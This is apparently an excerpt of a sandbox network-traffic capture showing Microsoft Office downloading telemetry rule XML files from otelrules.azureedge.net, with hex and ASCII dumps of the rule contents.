2024-10-30 14:59:05 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-30 14:59:06 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T
2024-10-30 14:59:31 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:31 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:31 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 24b2bddd-501e-0016-07ca-2a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145931Z-16849878b782d4lwcu6h6gmxnw00000007vg00000000e1ww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:07 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:07 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:07 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 3be177bf-d01e-007a-546e-28f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145907Z-15b8d89586ffsjj9qb0gmb1stn0000000cgg000000000h1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:07 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:07 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:07 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:07 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145907Z-16849878b78nx5sne3fztmu6xc000000097g000000004dk2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:07 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:07 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:07 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: c3a6d21e-601e-00ab-1dc6-2766f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145907Z-17c5cb586f69w69mgazyf263an00000007e0000000007tpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:07 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:07 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:07 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:07 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145907Z-16849878b7898p5f6vryaqvp58000000090g00000000e71m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:07 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:07 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:07 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145907Z-16849878b78j7llf5vkyvvcehs000000098000000000h7y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:07 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:08 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:08 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145908Z-16849878b78fhxrnedubv5byks00000006kg00000000691v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:08 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:08 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: e5fe76b8-601e-0050-2e06-262c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145908Z-17c5cb586f6wmhkn5q6fu8c5ss00000007ng000000006yuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:08 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:08 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:08 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: a2622e57-d01e-008e-28ea-28387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145908Z-r197bdfb6b4grkz4xgvkar0zcs00000007z0000000002bxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:08 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:08 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:08 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 91249574-801e-0078-3dc7-27bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145908Z-17c5cb586f64v7xsc2ahm8gsgw000000034g00000000cysc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:08 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:08 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:08 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:08 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145908Z-16849878b78qf2gleqhwczd21s00000008f0000000003crw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:08 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />
2024-10-30 14:59:32 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
